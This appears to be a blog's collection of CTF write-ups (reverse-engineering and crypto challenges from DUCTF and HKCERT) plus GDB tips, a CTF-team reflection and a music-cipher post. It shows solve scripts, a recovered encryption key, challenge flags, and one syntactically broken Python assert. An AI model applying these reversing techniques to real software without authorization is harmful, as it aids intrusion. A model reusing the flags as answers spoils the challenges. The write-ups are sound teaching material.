Further Reading:

To unlock the full potential of the GDB API, check out:

pwntools - Working with GDB

Input Non-Printable Characters

Sometimes you may want to manually fuzz or construct complex attack payloads. There are multiple ways to do so.

I don't recommend using Python 3 to generate strings on-the-fly, as its string/byte-string mechanics are unintuitive. Prefer perl or echo instead.

For example: python -c 'print("\xc0")' prints \xc3\x80 (À) instead of \xc0. Why? Because the Python string "\xc0" is interpreted as U+00C0, which is \xc3\x80 in UTF-8. In other words, characters are interpreted as Unicode codepoints instead of bytes.

assert '\xc0'.encode() == b'\xc3\x80'

Printing bytes in Python is difficult to do concisely.

Directly from GDB: With run

# Runs with 'AAAA\x01\x02\x01\x02' as stdin.
r <<<$(perl -e 'print "A"x4 . "\x01\x02"x2;')

This uses a Bash here-string to feed goodies into input. Not supported on all machines.

Directly from GDB: With Temporary File

Slightly more convoluted than the previous method, but is more portable.

# Prints 'AAAA\x01\x02\x01\x02' to a temporary file.
shell perl -e 'print "A"x4 . "\x01\x02"x2;' >/tmp/input

# Run the program, use the file as stdin.
r </tmp/input

Reset GDB Arguments

set args

This empties args. You can also use this command to set arbitrary arguments. The full command is:

set args [arguments...]

With pwnlib.gdb.attach

bash.sendline(b"echo '\x01\x02\x03\x04'")

Enable ASLR

ASLR is a common mechanism to randomise stack, heap, and library offsets.

ASLR is disabled by default in GDB. To re-enable:

set disable-randomization off

Useful for pwn challenges.

PIE Breakpoints

GEF only.

PIE are binaries where segments (.data, .text) are loaded at random offsets. In GDB, it seems to always be set to offset 0x555…554000.

Not all binaries have PIE enabled. Use checksec to verify.

Use the pie commands (help pie). Pie breakpoints are separate from regular breakpoints.

pie b <addr>    # PIE breakpoint at offset <addr> in code.
pie run         # Run with pie breakpoints enabled.

GEF Context

GEF only.

Summary of registers, stack, trace, code, all in one contained view.

context
ctx

Sometimes you want to step-debug without GEF's massive spew of text covering the screen.

Disable Context

gef config context.enable 0

Enable Context

gef config context.enable 1

DUCTF 2023 – Wrong Signal

2023-09-04T00:00:00Z

Description

Medium. 27/1424 solves.

I am getting all the wrong signals from this binary.

Author: hashkitten

Writeup

Analysis

On decompilation, the binary appears to be an innocent program which adds and subtracts numbers. The code itself is relatively simple.

// Set the SIGSEGV handler.
memset(&sigsegv_sigaction,0,0x98);
sigsegv_sigaction.__sigaction_handler.sa_handler = oops;
sigsegv_sigaction.sa_flags = 4;
sigaction(11,&sigsegv_sigaction,NULL);

// Read input.
puts("Enter the password:");
read(0,buffer,0x10);

// Check input for correctness.
local_c0 = &DAT_13386000;
for (i = 0; i < 0x40; i += 1) {
	j = i;
	if (i < 0) {
		j = i + 3;
	}
	switch((int)(char)(buffer[j >> 2] ^ mangle_buf[j >> 2]) >>
		   (((char)i - ((byte)j & 0xfc)) * 2 & 0x1f) & 3) {
	case 0:
		local_c0 = local_c0 + -0x15000;
		break;
	case 1:
		local_c0 = local_c0 + -0x1000;
		break;
	case 2:
		local_c0 = local_c0 + 0x1000;
		break;
	case 3:
		local_c0 = local_c0 + 0x15000;
	}
}

if (local_c0 == &DAT_13398000) {
	puts("Well done! Wrap that in DUCTF{}.");
}
else {
	oops(0);
}

Observations:

A sigaction handler takes care of any SIGSEGV faults, outputs Wrong! and exits. SIGSEGVs occur when there are invalid memory accesses (e.g. reads, writes).
The for-loop iterates through crumbs (2-bit groups¹), xors it with static data (mangle_buf), and modifies local_c0 depending on the value of each crumb. Yeah, that eyesore in the switch condition computes the current crumb.
Since 16-bytes are read, this means there are 64 crumbs, therefore 64 operations.
Our goal is to modify local_c0 so that it goes from 0x13386000 to 0x13398000—a difference of 0x12000.

The last point is interesting, since there's no way we can get a unique solution. There are multiple ways to reach an offset of 0x12000.

For example, if our crumbs are 3, 1, 1, 1, then we've already arrived at our target address, right? Then we can just fill the rest with 2s and 1s to do nothing to local_c0, right? Right?

wRoNg! Ay c-rumba.

Using a Z3 script spun by reversing the program, we can output some test payloads. Now obviously this isn't the flag, but I'm interested in testing out some cases. Using I as the first letter, we trigger case 3 (+0x15000) as our first operation.² Turns out we can't do that as our first move, because it catapults us into oops().

^{We have the best flag. Because of oops().}

If instead our first case was 2, the program continues, and we're not thrown straight into ~~jail~~ oops(). So there must be something we're missing.

Where are the segfaults coming from?

While all the above observations are fine and dandy, the decompilation leaves out something crucial. Isn't it weird how local_c0 seems to be working with addresses and jumping around without actually doing anything? Turns out, there's a sneaky little dereference after the switch-case, at 0x401305.

; 0x4012fe. Load `local_c0` from stack to RAX.
MOV        RAX,qword ptr [RBP + local_c0]

; 0x401305. Dereference `RAX` to `AL`.
MOV        AL,byte ptr [RAX]=>DAT_13386000

Don't underestimate these few lines. Even though the dereferenced value is unused, a read is performed nonetheless!

So why are some reads causing segfaults? To answer this, we can use the vmmap command that comes with GDB GEF. This shows various segments of a binary, their address ranges, and whether they're readable/writable.³

Yikes! That's a lot of segments. Notice how some of them disallow all permissions? Our pointer was trying to read those regions. All that's left is to filter out the regions in our code.

Concluding Remarks

Peeking at the official solve script... it turns out the challenge was a... maze?!? Wut? Didn't expect that. But overall it was a fun little challenge with some nice surprises, and a good reminder to not overlook (or completely ignore) the small details such as that hidden byte read.

Solve Script

I didn't do a step-by-step walkthrough of my solve script this time, but I've littered it with comments, so hopefully it's understandable—even for those new to the Z3 library.

Flag

DUCTF{hElCYi8OxUF7PAA5}

Footnotes

And for the nerds: 4-bits is a nybble/nibble. ↩︎
Verifiable through GDB, with b *main+245 and p $rax. ↩︎
There are other similar tools, but I'm accustomed to GEF's vmmap. ↩︎

The HKUST Firebird CTF Team

2023-05-29T00:00:00Z

As an avid programmer with a passion for technology and programming, I was always intrigued by the world of cybersecurity. In my last two years of university, I was thrilled to explore this field further by joining the HKUST Firebird CTF Team. As someone with a programming background but no cybersecurity knowledge (besides rudimentary SQL injection), I was excited to develop my skills in this field.

Note that my experiences don’t speak for everyone and may not reflect the current situation of the team. With that said, let me introduce the process a bit more. The training is structured as three stages/courses, each taking place over a semester.

Torchic, the Hatchling

The first stage (COMP2633) takes place during the Fall term. The Firebird team would host a beginner-friendly CTF platform for us to explore the basics. This platform is open to any UST student, even students not registered in COMP2633.

Each week, senior Firebird members mentor us on various categories of CTF, including binary pwn, reverse engineering, web attacks, cryptography, and forensics. In the first couple weeks, Python and Linux basics are taught, so the training assumes no prior knowledge of cybersecurity/scripting. Regardless, I found my C++, Python, and computer organisation experience helpful to better absorb concepts.

Two topics are presented each week, and include in-class exercises and homework to reinforce concepts learned. These challenges are similar to CTF challenges, which require us to find a flag. For example, we may need to use a software to reverse-engineer a binary or exploit a web vulnerability. The homework is usually more challenging than the exercises and require more time and effort.

Some challenges are easier to solve. But don't be fooled! There's more where they came from!

We participated in two (plus one extra) CTF competitions this term. In November, we participated in the HKCERT CTF competition, a regional event where secondary and tertiary schools from all over HK (and invited teams outside) compete to hunt for flags.

In December, some of us were selected to participate in the PwC Hackaday CTF. The format for this CTF was different, where points can be spent to buy hints. Aside from the format, the vibe was much more exhilarating too, as we get to compete in person. (The other events were held online, so they were relatively lacklustre.)

Finally, in January, we participated in an internal Firebird CTF held to assess our capabilities and select candidates to proceed to the next stage of training. These challenges were designed by Firebird seniors.

These competitions allowed us to apply our newfound skills in a competitive setting, learn from mistakes, and exchange ideas afterwards through a tradition of write-ups.

Combusken, the Fledgling

The second stage (COMP3633) takes place during the Spring term. Again, training is structured as a course, with weekly sessions and grading. There are two notable activities in this stage: 1) presentations on a CTF topic of our choice, 2) more CTFs!

The presentations allowed us specialise in a topic and learn from each other. Topics we covered range from advanced pwn techniques (e.g. heap-based attacks) to advanced cryptographic techniques (e.g. lattice-based attacks). This was a great opportunity to practice delivering a presentation, as it prepared us for the next stage (where we would be involved in a lot of presentations).

Since I was interested in reverse engineering, I presented on advanced angr features and tricks. Angr is a popular Python symbolic execution library, which is useful for reverse engineering, especially in CTF challenges.

Another key activity is the participation in more CTFs. We participated in four CTFs hosted worldwide, such as AngstromCTF, zer0ptsCTF, and TAMUCTF. In most of these CTFs, we would participate in one big team (14-16 of us together). In one CTF, we achieved 4th place—perhaps due to our superior manpower—but it was a nice feeling nonetheless. Through these competitions, we gained exposure to a wider range of challenges and take away valuable learnings for future training.

Blaziken, the Firebird

In the third and final stage of Firebird's CTF training, we evolve into senior students, teaching new joiners and designing challenges for exercises, homework, and the internal CTF.

In this part of training, we learn through teaching and mentoring. Teaching not only provides us an opportunity to share our knowledge and experience, but also the opportunity to give back to the community, to reinforce our understanding of the material, and to develop soft skills.

I focused on teaching reverse engineering topics, which largely consists of disassembly, decompilation, and symbolic execution—three 2-hour presentations in total.¹ I had loads of fun designing challenges (especially for the internal CTF), helping out on Discord, and rick-rolling oblivious trainees.

Conclusion

Overall, the HKUST Firebird CTF team is a great opportunity for students to gain hands-on experience in cybersecurity and to develop their skills and knowledge in the field. The program is structured in a way that provides a strong foundation for beginners and allows for the growth and development of more advanced students.

Through this experience, I gained practical skills and knowledge in cybersecurity. The challenges encountered and time spent designing/executing attacks strongly shaped my understanding and interest for cybersecurity. Aside from technical skills, the latter stages were also great opportunities to improve my presentation and organisation skills. All in all, this extracurricular raised my awareness on the importance of security and of having a moral/ethical mindset, and bolstered my ability to speak.

If you're interested in cybersecurity and looking for a way to gain hands-on experience, the HKUST Firebird CTF team is definitely worth considering.

I encourage those interested in cybersecurity to challenge themselves by trying out online CTFs² and, if you’re a UST student, take the opportunity to train with Firebird.

Footnotes

Why do I like reverse engineering? Analysing assembly can be pretty fun, and it’s also crucial when analysing performance of software systems. This is especially important in low-level environments such as embedded devices, or in general for benchmarking. Finding out how things work under the hood is one way to learn. ↩︎
There are various platforms available online (for free!). Some are HackTheBox, TryHackMe, and VulnHub. ↩︎

Remorse

2023-01-27T00:00:00Z

A reflection of the past, composed and mixed during my 7-day covid quarantine.

Time ebbs past,
As anguish holds fast.
Without you I’m filled with remorse,
For you are my one driving force.

As the season turns,
My heart still churns.
I’ll leave my sins and remorse,
Heading on a different course.

The purpose of composing this piece is threefold: it served as an expression of faith and emotions, a challenge for a Capture-the-Flag (CTF) competition, and an enjoyable way to pass quarantine. There wasn't any priority to a particular purpose; all of them seemed to develop together.

This piece was composed for the HKUST Firebird 2023 Internal CTF. Such competitions are designed to challenge players with cybersecurity know-how. Once players identify and exploit a vulnerability, they are rewarded with a flag (a piece of text), which awards points to the player when submitted. Occasionally, some challenges deviate from the norm and test players in other areas. In this case, my challenge tested players in analysing music and patterns.

When composing this piece, I aimed to compose something listenable and motivic. I decided to keep constraints flexible within limits. If a music is too constrained, it sounds choked, inevitable, or unimaginative. Some music ciphers out there encode letters into pitches and duration. This was a bit too far for my liking, as it becomes painstakingly difficult to find a pleasurable tune.

As hinted by the title, I first translated the flag into Morse using an online converter with the extended Morse character set. This allowed for some punctuation such as (, -, _, and funky non-ASCII characters such as é.

With plaintext, we need to encode at least 50 distinct letters. With Morse, we just need to encode 3 instead: ., -, and space (as a word separator). So things are relatively simple.

I toyed around with a few ideas of encoding these three characters. Eventually I ended up with this mapping:

. → "Note On" in upper stave (treble clef)
- → "Note On" in lower stave (bass clef)
space → "Note On" in both staves

This lent the music well to a contrapuntal form, with the occasional grace-note or glissando to pack characters in a way that preserves the melodic contour. After composing the sheet music, I ended up mixing it with Reaper for some extra flair and charged resonance, making the night seem younger.

Enjoy the result!

HKCERT CTF 2022 – C++harming Website

2022-11-15T00:00:00Z

Description

350 points. 4/5 ⭐️. 4/311 solves.

Seems someone encrypt their flag with some weird online website. And seems the website is written in C++...

Does anyone even use C++ to write their web server? I guess C++ is still charm but it must be easy to reverse.... right?

Analysis

We’re provided with the server binary written in C++. No source code. 😟 We’re also provided with a link to a website (presumably hosted by the server).

Hmm, I wonder what the website has in store for us. Let’s check it out!

How disappointing. Oh well, perhaps the binary is more helpful. Maybe we can find out how to work the website. Might be important. Might not be important. Who knows?¹

Firing up Ghidra and loading the binary, we start by going to main (okay so far!). main doesn't seem to do much, besides calling init, run, and std::cout. Things get a lot more interesting when we look at run:

It’s easy to be intimidated by such a large application. And it’s in C++, so there’s a ton of garbage (std, templates, constructors, destructors, etc.).²

After a bit of digging, we uncover quite a bit of info:

The server uses a library called oatpp.
- It’s useful to look at some oatpp examples, as this gives us a general idea of the application flow and structure.
- For example, an endpoint could be defined by using oatpp::web::server::HttpRouter::route (example) or with the ENDPOINT macro (example). It appears our charming website was using the latter.
- Now that we know what library is used, can we find out what the endpoint is?
- Yes. In the examples, we see that the endpoints are hardcoded. Chances are, the endpoints in the charming website are also hardcoded, and thus stored in static memory.
Let’s look at some strings!
- Ghidra has a “Defined Strings” tool for browsing strings...
- But I ended up using the strings command along with grep:
```
strings cryptor-exe | grep -Ev '^_Z.*' # Filter out most C++ symbols. (Manually leaf through the rest.)
strings cryptor-exe | grep '/'         # Search for endpoint or MIME type.
```
  Bash
- With this, we find out that the endpoint is /encrypt, and the MIME type is application/json. No other MIME type appears, so it's probably using JSON for both request and response.
  - We can guess which JSON keys are parsed by looking at other strings. It appears the only key used is message.
  - We can try to use Postman or whatever to test the endpoint. Let's have a spin:
- There’s also some interesting strings such as “charm.c”. But I thought this was a C++ application? Perhaps a third-party library? Maybe we can use this later on.
The gold can be found in MyController::Encrypt::encrypt. This is where all the juicy stuff takes place. You can arrive here through a number of ways (e.g. following XREFs of uc_encrypt).
- The function begins by generating a random Initialisation Vector (IV).
- It then initialises some state using uc_state_init with a key.
  
  Fortunately, the key is stored in static memory. In plain sight. This is very blursed: blessed, because (from a CTF POV) we don't need much work; and cursed, because (from a dev vs. exploiter POV) we don't need much work.
- The message is then encrypted using uc_encrypt.
  
  I have no idea what puVar[-0x227] = X does, and apparently it's not important.
- Finally, encrypt encodes the message, tag, and IV in Base64; then sends out a JSON response.
Now how do we go about reversing this encryption?
- It's probably not trivial—most encryptions aren't.
- What cryptographic algorithms use a tag and IV? Google suggested AES-GCM.
- Oh, but wait—there’s a uc_decrypt function...

Pikachu used charm! It’s not very effective.

To make our life easier (and also because of curiosity), let’s see if the encryption library is open-source. OSINT time! Googling “charm.c uc_encrypt site:github.com” leads us to dsvpn, which links us to charm. Both are GitHub repositories using the same charm.c as the challenge.

The source gives us obvious clues we might’ve missed in our initial analysis. For example, the key should be 32 bytes long. This was quite helpful, as Ghidra for some reason grouped the 32nd byte apart from the first 31 bytes (took me a while to figure out what went wrong).

Now that we have the source, we can use it directly for our solve script!

int main() {
    uint32_t st[12] = {};

    // Obtained from binary (static_key symbol).
    unsigned char key[] = "\xf2\x9c\x0b\xf1\xc5\x1a\x7e\x65\x75\x80\x23\x6e\x8b\x74\x38\xbf\x59\x39\x8a\x1a\x05\xc6\x43\xfa\x1d\x57\x82\x0a\xb9\xc6\xdc\x50";
    
    // Obtained by decoding Base64.
    unsigned char iv[] = "\xe2\x4f\x76\x18\xd8\xa3\xa\xaf\xa8\xbf\xee\xe6\x5c\xe9\x4\x1e";
    unsigned char tag[] = "\xd0\x5b\x4c\x60\x6d\x88\x3f\x18\xff\xa8\x58\x43\xfc\xd2\xc6\xac";
    unsigned char c[] = "\xe4\xa\xf2\xb3\x96\x3c\x7a\x9a\x86\xe1\xa4\x9e\x45\xc5\xef\x7f\xe4\x8a\x96\x13\x4a\x95\x8\xc8\xdb\x6c\x7c\xa2\x34\x6f\xf4\x37\xae\xd0\x46\x1\xb2\xd0\xc\x32\xbb\x3e\xb6\xf9\xe6\x51\x5e\x6e\x14\xb\x97\x5b\x99\xd\xda\x3a\xf3\xe0\xd2\x66\xed\xe8\x7a\xbc\x6e\xc\xab\xec";
    
    uc_state_init(st, key, iv);
    
    size_t len = strlen((char*)c);
    int res = uc_decrypt(st, c, len, tag, 16);
    printf("result: %d\n", res);
    printf("%s\n", c);
}

Since the state is initialised inside the endpoint, it is refreshed for each encryption. As long as we have the key and IV, we can recover the state. Finally, we decrypt the message and get the flag. That's all there is to it!

Final Remarks

This was a rather nice, relaxing C++ challenge. And yes, C++ is still charm.

With C++ reverse challenges (and looking at large applications in general), it’s difficult to know what’s important because there are so many things to look at. But! It’s really helpful to know what’s not important, because then you can filter those out and pay attention to things that matter.

For example, if you see templates (the ever so familiar, pointy friends of ours), you can usually ignore everything in between. Normally they're the default anyway.

Also, if there’s something to learn from this challenge, it’s that application developers should secure their secrets (e.g. with environment variables or config loaders). 😛

Solve Scripts

Flag

hkcert22{n3v3r_s4w_4n_c++_ap1_s3Rv3R?m3_n31th3r_bb4t_17_d0e5_eX15ts}

Footnotes

It wasn’t. ↩︎
To be fair, one of the reasons C++ is powerful is because it’s both performant and expressive. And it’s expressive, because there can be a lot of hidden control flow. You can write one line of code which could be syntax sugar for twenty lines of code, and even more assembly. With C, it’s more straightforward (and simple). ↩︎

HKCERT CTF 2022 – Base64 Encryption

2022-11-14T00:00:00Z

The challenge looks deceptively simple. Chinese has over 50,000 characters. Base64 just has 64. So it should be easy right?

Haha nope. It's not as trivial as I thought.

Description

200 points. 3/5 ⭐️. 6/311 solves.

People said that base64 is an encoding, not an encryption. Did they have a misconception about that?

If you believe that base64 is just an encoding, then convince me that you are able to "decode" the article (which is in English).

Regardless, the challenge author is kind enough to provide a clue in the description: the plaintext is an article in English. We’ll see how this helps us later on.

Analysis

We’re provided with an encryption script chall.py (written in Python), along with the generated ciphertext message.enc.txt.

The script first encodes the plaintext in English:
```
encoded = base64.b64encode(message).decode().rstrip('=')
```
Python
...then "encrypts" it by mapping each Base64 character to another one:
```
encrypted = ''.join([charmap[c] for c in encoded])
```
Python
The script uses random.shuffle without seeding. This means we can’t easily reproduce the character mapping (charmap). We’ll need to try harder.
Although the script reads the plaintext in binary format (open('message.txt', 'rb')), I’m banking on the clue that the plaintext is an English article—so hopefully there aren’t any weird characters.

So how do we go about cracking this? Brute-force will be undoubtedly inefficient as we have $64! \approx 1.27 \times 10^{89}$ mapping combinations to try. It would take years before we have any progress! Also we’d need to look at results to determine if the English looks right (or automate it by checking a word list)—this would take even more time! Regardless, we need to find some other way.

First Steps: Elimination by ASCII Range

Here’s one idea: since the plaintext is an English article, this means that most (if not all) characters are in the printable ASCII range (32-127). This means that the most significant bit (MSB) of each byte cannot be 1. We can use this to create a blacklist of mappings. For example, originally we have 64 possible mappings for the letter A. After blacklisting, we may be left with, say, 16 possible mappings. This drastically reduces the search space.¹

Since Base64 simply maps 8-bits to 6-bits, so 3 characters of ASCII would be translated to 4 characters of Base64.

^{Base64 maps three characters to four. (Source)}

charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

def get_chars_with_mask(m):
    """Get Base64 chars which are masked with m."""
    return {c for i, c in enumerate(charset) if (i & m) == m}

# List the 4 Base64 positions. We'll cycle through these positions (i.e. i % 4).
msbs = [0b100000, 0b001000, 0b000010, 0b000000]

# Get impossible characters for each position.
subchars = [get_chars_with_mask(m) for m in msbs]

# Create a blacklist for each Base64 char.
# e.g. blacklist['A'] returns the set of chars which 'A' can NOT map to.
blacklist = {c: set() for c in charset}

# Loop through each char in the shuffled Base64 text.
for i, c in enumerate(txt):
    # Ignore char mappings which have '1' in corresponding msb.
    # These can't map to a printable ASCII char.
    blacklist[c] |= subchars[i % 4]

# Invert the blacklist to get a dictionary of possible mappings.
# e.g. whitelist['A'] returns the set of chars which 'A' CAN map to.
whitelist = {k: set(charset) - v for k, v in blacklist.items()}

We can check the mappings we’ve eliminated:

print(''.join(sorted(blacklist['J'])))
# '+/0123456789CDGHKLOPSTWXabefghijklmnopqrstuvwxyz'

And that means the letter J can only map to:

print(''.join(sorted(whitelist['J']))
# 'ABEFIJMNQRUVYZcd'

Neat! This will help us later on (when we resort to ~~blatant~~ educated guessing).

We can do a similar thing on the low end. Again, since the smallest printable ASCII character is 32, this means either the second or third MSBs would be set.²

def get_inverted_chars_with_mask(m):
    return {c for i, c in enumerate(charset) if ((2**6 - 1 - i) & m) == m}

# chars that don't have bits set in ascii.
subchars_not_in_ascii = [get_inverted_chars_with_mask(m) for m in in_ascii]

Frequency Analysis with Known Text

Another idea comes to mind. Remember the plaintext is in English? Well, with English text, some letters appear more frequently than others. The same applies to words and sequences.

^{Frequency of the English alphabet. (Source: Wikipedia.)}

In the same vein, some letters and sequences in the Base64 encoding will also appear more frequently than others.

With this in mind, we can compare the ciphertext to the Base64 encoding of some random article (also in English, of course). For this, I copied some articles from CNN Lite (text-only, so it's easier to copy), encoded it, then analysed letter frequencies using dcode.fr. You could use this excellent article as well:

V2UncmUgbm8gc3RyYW5nZXJzIHRvIGxvdmUKWW91IGtub3cgdGhlIHJ1bGVzIGFuZCBzbyBkbyBJIChkbyBJKQpBIGZ1bGwgY29tbWl0bWVudCdzIHdoYXQgSSdtIHRoaW5raW5nIG9mCllvdSB3b3VsZG4ndCBnZXQgdGhpcyBmcm9tIGFueSBvdGhlciBndXkKSSBqdXN0IHdhbm5hIHRlbGwgeW91IGhvdyBJJ20gZmVlbGluZwpHb3R0YSBtYWtlIHlvdSB1bmRlcnN0YW5kCk5ldmVyIGdvbm5hIGdpdmUgeW91IHVwCk5ldmVyIGdvbm5hIGxldCB5b3UgZG93bgpOZXZlciBnb25uYSBydW4gYXJvdW5kIGFuZCBkZXNlcnQgeW91Ck5ldmVyIGdvbm5hIG1ha2UgeW91IGNyeQpOZXZlciBnb25uYSBzYXkgZ29vZGJ5ZQpOZXZlciBnb25uYSB0ZWxsIGEgbGllIGFuZCBodXJ0IHlvdQo=

^{Frequency analysis of plain vs. encrypted Base64. Left: CNN Lite articles. Right: Encrypted challenge text.}

From this, we can deduce that 'w' was mapped from 'G' in the original encoding (due to the gap in frequency).

One useful option is the bigrams/n-grams option. We can tell dcode to analyse frequencies of groups of characters with a sliding window. This is useful to identify words and sequences.

^{Frequency analysis of 4-grams in plain vs. encrypted Base64. Left: CNN Lite articles. Right: Encrypted challenge text.}

Observe how "YoJP0H" occurs (relatively) frequently. This corresponds to "IHRoZS", which happens to be the Base64 encoding for " the".

More Heuristics

Frequency analysis is useful to group letters into buckets. But using frequency analysis alone is painful. Some guesswork is needed. Here's the complete process I went through:

Frequency Analysis: use dcode.fr to associate frequent characters.

We can make use of our earlier constraints to eliminate wrong guesses.³

# Dictionary of guessed mappings.
# key: shuffled Base64; value: plain Base64
guesses = {
    'w': 'G',       'Y': 'I',
    'o': 'H',       'c': 'B',

    # " the "
    'J': 'R',       'P': 'o',
    '0': 'Z',       'H': 'S',

    # More snipped out.
    ...
}
for c, g in guesses.items():
    # Our guess should be whitelisted!
    assert set(g).issubset(whitelist[c]) for gc in g), f'mismatch for {c} -> {g}, whitelist: {whitelist[c]}'
    whitelist[c] = g # Throw away all other values.

^{Random decoding after frequency analysis.}

Guesswork: guess English from the ~~nonsense~~ existing characters.
- e.g. "Eog:ish" → "English", "qepqesents" → "represents", "pqese&ved" → "preserved"
- Once we patched a word, other words became easier to patch.
  
  ^{Random decoding after guessing.}
- At this point, we can continue patching "ciphertext", "letters", "potential", etc. Or we could just use...
Google: after decoding a sizeable portion, let's pray and hope the plaintext is open-source. Then use the plaintext to derive the rest of the mapping.
- It turns out the plaintext is—quite aptly—the Wikipedia summary of frequency analysis.

Finding the rest of the mappings was quite easy. After a bit more tuning, we get the flag.

Final Remarks

Usually I play reverse and don’t touch cryptography, but all I can say is: this was basically playing an English reverse challenge under the hood. Forget C, C++, Java, .Net, and Rust. Reversing English is the best. 😛

There are probably better ways to automatically perform frequency analysis and search for mappings. I went for a hybrid method of Python scripting + manually checking two dcode tabs. Perhaps a second monitor would’ve helped, but I have nowhere to place it. 😐

Flag

hkcert22{b4s3_s1x7y_f0ur_1s_4n_3nc0d1n9_n07_4n_encryp710n}

Footnotes

What about é and à, as in déjà vu? Well, although those are technically in the extended ASCII character set, they should be rare enough. (Also I think Python encodes them differently from regular ASCII.) ↩︎
But what about newline (\n, ASCII 10) and carriage return (\r, ASCII 13)? These are also possible to have in plaintext messages. We shouldn’t entirely discount these, but as they’re relatively rare, we won’t consider them for now. ↩︎
Later on, we removed the second/third-MSB constraint since it got in the way of decoding \n. ↩︎

DownUnderCTF 2022 – ezpz-rev

2022-09-28T00:00:00Z

This was a fun little break from all the school work piling up. School is tiring, just like something else...

Challenge Description

CTFing is tiring. Take a break with this easy puzzle!

Note: The binary and server in this challenge are the same as "ezpz-pwn".

The description is rather terse. But it seems like the same binary is used for two challenges.

The binary is available on the DownUnderCTF repository. If you want to have a stab at the challenge, go for it!

Writeup

As with all reverse challenges, let’s first throw the executable into a decompiler and see what crops up. I'll be using Ghidra, a free open-source decompiler perfect for ezpz challenges.

Navigating to main, we see a function call, a gets (for reading user input), and a chain of four if-statements barring our way to some statements which print out the contents of flag-rev.txt (presumably the flag for this reverse challenge).

The most important functions to crack are the four guarding the file read. But we’ll take a look at the initialisation procedures first since they provide some helpful context towards understanding the program. Along the way, we’ll incrementally build a z3 logic solver to emulate/reverse each function.

Initialisation

The first initialisation function modifies some options for the stdin/stdout buffers. Pretty standard C-style CTF stuff. The second initialisation function is much more interesting. Here’s a screenshot of the decompiled program:

Decompilers are great and all, but the lack of useful variable names, comments, and readability can be a pain. Here’s a cleaned up version:

char* init_run_length_encoded(char* initcode) {
    char* data = malloc(0xc4);
    int ind = 0;    // Index used to insert into data. Serves the dual purpose of tracking the size of the data.
    for (int i = 0; initcode[i]; i += 2) {
        int length = initcode[i] - '0'; // Convert digit (char) to int.
        char c = initcode[i+1]; // Character to fill.
        
        // Unpack run-length atom into `data`.
        while (length--) {
            data[ind++] = c;
        }
    }
    return data;
}

In effect, the function initialises an array of chars by decoding a run-length encoded string. For example, the string 5a4b3c2d gets expanded to aaaaabbbbcccdd. Of course, the encoded string used is much longer, and it turns out that it fills all 196 (0xc4) chars allocated. There are a few more things I’d like to point out:

196 (0xc4) is a number that pops up a lot in this binary.
Although typical run-length encoded strings may have more than 9 digits packed together (e.g. 12c13e42f), the implementation above assumes a run-length of at most 9 (i.e. one digit).
Interestingly, the characters encoded only range from a to n. We’ll see how these come into play later on.

We can begin writing our solve script! Let’s perform this initialisation and decode the string into a chars variable.

encoded = '5a4b3c2d5a4b4c1d2a1e3a3b4c1d2a1e1f2a3b3c1g1d3e5f1b2c2g1d1f2e4f6g1d7f3h3g1d4f6h3g1d2f1i4j1h2k2l1m1d3i2j5k2l2m2i3j4k3l2m2i3j4k3l2m1i5j2k2n2l2m1i4j5n4l'
chars = ''
for i in range(len(encoded) // 2):
    skip, char = encoded[2*i], encoded[2*i+1]   # Select pair of characters.
    chars += int(skip) * char                   # Unpack run-length atom.

assert len(chars) == 0xc4

The First and Second Guards: Move Along Now, Nothing to See Here

If the initialisation procedures are the appetiser, then the four guards are the main course.

I’ll be using the term guards and tests interchangeably. Guards are a term I’m borrowing from CS and functional programming. It’s basically an elevated if-statement.

Each guard checks if the input satisfies some condition. If the condition passes, the guard function returns 1, else 0. To get to the delicious dessert (the flag :P), we want all four functions to return 1.

Easier said than done. Let’s start with the first function and see what it decompiles into.

Here’s a more readable version:

int test1(char* input) {
    for (int start = 0; start < 196; start += 14) {
        int count = 0;
        for (int i = 0; i < 14; i++) {
            if (input[start + i] == '1')
                count++;
        }
        if (count != 3) {
            return 0;
        }
    }
    return 1;
}

Essentially, it groups input into blocks of 14 chars; then it checks if the number of '1's in each block is exactly three. If any check is false, then the function returns 0, meaning we have failed miserably.

We can easily model this symbolically in z3. We’ll first create 196 symbols, each representing one character in input. Then, we'll create a z3 solver object: this is our interface to z3’s automagical solver. Through the solver, we can add constraints, remove constraints, generate concrete values, etc.

# Create a bunch of symbols.
inputs = [z3.Int(f'g_{i}') for i in range(196)]

# Create a constraint solver object.
s = z3.Solver()

# Constrain possible input. We just care about the 1s, really.
for sym in inputs:
    s.add(z3.Or(sym == 0, sym == 1))

size = 14

# Constraint 1: row-wise constraint.
for i in range(size):
    s.add(z3.Sum(inputs[size*i:size*(i+1)]) == 3)

Our simplest constraint is our input constraint. For this program, we’ll limit our symbols to take on only 0s and 1s. Why? Because it is easy for z3 to sum integer symbols. This way, if we want to count the number of 1s in a list, we can just call z3.Sum on it.

We then add the constraints of the first guard by selecting groups of 14 elements using Python’s slice notation inputs[size*i:size*(i+1)] and constrain it to 3.

Nifty! Let’s see what the second function looks like.

This looks surprisingly similar to the first test. In fact, the only thing that really changed is the order of the loops. Observe how the first function moves along the grid in a row-major fashion, whereas the second function moves in a column-major fashion.

It may begin to dawn on you that the nested loops are hinting at a grid-like structure, a 14-by-14 2D array of characters. This realisation is pretty crucial, as it’ll help us reverse our last two functions much faster.

Let’s add these constraints to our solve script:

# Constraint 2: col-wise constraint.
for i in range(size):
    s.add(z3.Sum(inputs[i::size]) == 3)

inputs[i::size] is Python slice notation to iterate beginning from i and picking every size elements, e.g. [*range(10)][1::3] == [1, 4, 7].

Onto the next function!

The Third Guard: Please Wear Your Mask

Using our vectorised 1D representation, we can simplify the above to:

int test3(char* chars, char* input) {
    int counter[14] = {0};
    // Mask and count characters.
    for (int i = 0; i < 196; i += 1) {
        if (input[i] == '1') {
            counter[chars[i] - 'a']++;  // Increment the count of `chars[i]`.
        }
    }
    // Bad bad if a letter doesn't appear exactly thrice.
    for (int i = 0; i < 14; i++) {
        if (counter[i] != 3) {
            return 0;
        }
    }
    return 1;
}

This initialises an array of 14 integers that serve as counters. This is followed by two loops. In the first loop, we mask the input and initialised characters, then count the number occurrences of each character. In the second loop, we simply check that all counters equal 3, meaning each letter appears exactly three times in the masked string.

By “mask”, I mean something like bitwise-and, but for characters. For example, abcdefg masked with 1011001 would be a cd g, as only those four letters have 1 associated with them. Alternatively, you can think of the 0s as masks hiding letters from sight, just like how face masks hide mouths.

This is the first of the four functions which actually combines both the user input and the character grid used in initialisation. The previous two functions performed checks only on the user input, but now we begin to see how the two relate.

